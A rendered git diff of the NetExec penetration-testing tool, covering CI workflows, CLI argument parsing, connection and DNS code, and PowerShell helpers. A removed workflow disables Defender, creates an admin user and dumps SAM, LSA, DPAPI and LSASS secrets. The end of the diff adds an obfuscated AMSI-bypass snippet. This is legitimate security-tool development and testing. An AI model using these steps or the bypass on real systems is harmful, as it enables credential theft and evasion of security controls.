Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck 7e81f3c4bf tests: add test command files and test keys 2024-04-27 16:24:32 -04:00
96 changed files with 1313 additions and 2789 deletions

No files matched your search

-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -1,44 +0,0 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
-179
View File
@@ -1,179 +0,0 @@
name: NetExec Checker
on:
pull_request:
branches: [ main ]
workflow_dispatch:
jobs:
lint:
uses: ./.github/workflows/lint.yml
nxc-smb:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --lsa
- name: Dumping dpapi
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --dpapi
- name: Dumping with lsassy
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M lsassy
- name: Exec command
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=smbexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=wmiexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=atexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=mmcexec
- name: Dumping with procdump
run: |
poetry run netexec --verbose smb %COMPUTERNAME% %COMPUTERNAME% %COMPUTERNAME% -u nxc -p Pwn3d!!! -M procdump
nxc-winrm:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Enable WinRM
run: |
winrm quickconfig -quiet
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --lsa
- name: Exec command
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! -x whoami
nxc-rdp:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Update registry key rdo
run: |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- name: Open Firewall
run: |
netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Checking rdp
run: |
poetry run netexec rdp 127.0.0.1
- name: Checking auth
run: |
poetry run netexec rdp 127.0.0.1 -u nxc -p Pwn3d!!!
nxc-ssh:
runs-on: ubuntu-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Enable ssh
run: |
sudo apt update
sudo apt install openssh-server
sudo systemctl status ssh
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Connection with user
run: |
poetry run netexec ssh 127.0.0.1
+5 -2
View File
@@ -1,11 +1,14 @@
name: lint
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on: [workflow_call]
on:
push:
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v3
View File
Whitespace-only changes.
+4 -5
View File
@@ -2,6 +2,8 @@ name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
@@ -12,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12"]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- name: Install poetry
@@ -24,9 +26,6 @@ jobs:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
@@ -46,4 +45,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
poetry run netexec smb 127.0.0.1 -M veeam
-1
View File
@@ -1,6 +1,5 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
-3
View File
@@ -42,7 +42,6 @@ a = Analysis(
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
@@ -67,10 +66,8 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+37 -62
View File
@@ -9,7 +9,6 @@ import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
@@ -22,31 +21,10 @@ def gen_cli_args():
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
parser = argparse.ArgumentParser(description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
@@ -64,47 +42,48 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -112,7 +91,7 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
@@ -127,10 +106,6 @@ def gen_cli_args():
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
+56 -134
View File
@@ -4,12 +4,10 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
@@ -23,63 +21,23 @@ global_failed_logins = 0
user_failed_logins = {}
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
if address_info["AF_INET"]:
host = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
return result
return host, is_ipv6, is_link_local_ipv6
def requires_admin(func):
@@ -91,7 +49,7 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
def dcom_FirewallChecker(iInterface, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -111,7 +69,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -123,67 +80,57 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
class connection:
def __init__(self, args, db, target):
def __init__(self, args, db, host):
self.domain = None
self.args = args
self.db = db
self.logger = nxc_logger
self.hostname = host
self.port = self.args.port
self.conn = None
# Authentication info
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.logger = nxc_logger
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
return
if self.args.kerberos:
self.host = self.hostname
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
try:
self.proto_flow()
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
self.logger.debug(f"Closing connection to: {host}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
return
@@ -203,7 +150,16 @@ class connection:
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
return
def plaintext_login(self, domain, username, password):
@@ -222,7 +178,6 @@ class connection:
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
@@ -256,7 +211,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
for module in self.module:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -412,22 +367,12 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
secret.append(ntlm_hash)
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
@@ -450,9 +395,7 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
"""Try to login using the specified credentials and protocol.
Possible login methods are:
- plaintext (/kerberos)
@@ -465,18 +408,6 @@ class connection:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
@@ -565,12 +496,3 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
-10
View File
@@ -1,10 +0,0 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
+2
View File
@@ -52,8 +52,10 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
+53 -45
View File
@@ -12,20 +12,6 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -122,66 +108,91 @@ def obfs_ps_script(path_to_script):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = ""
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
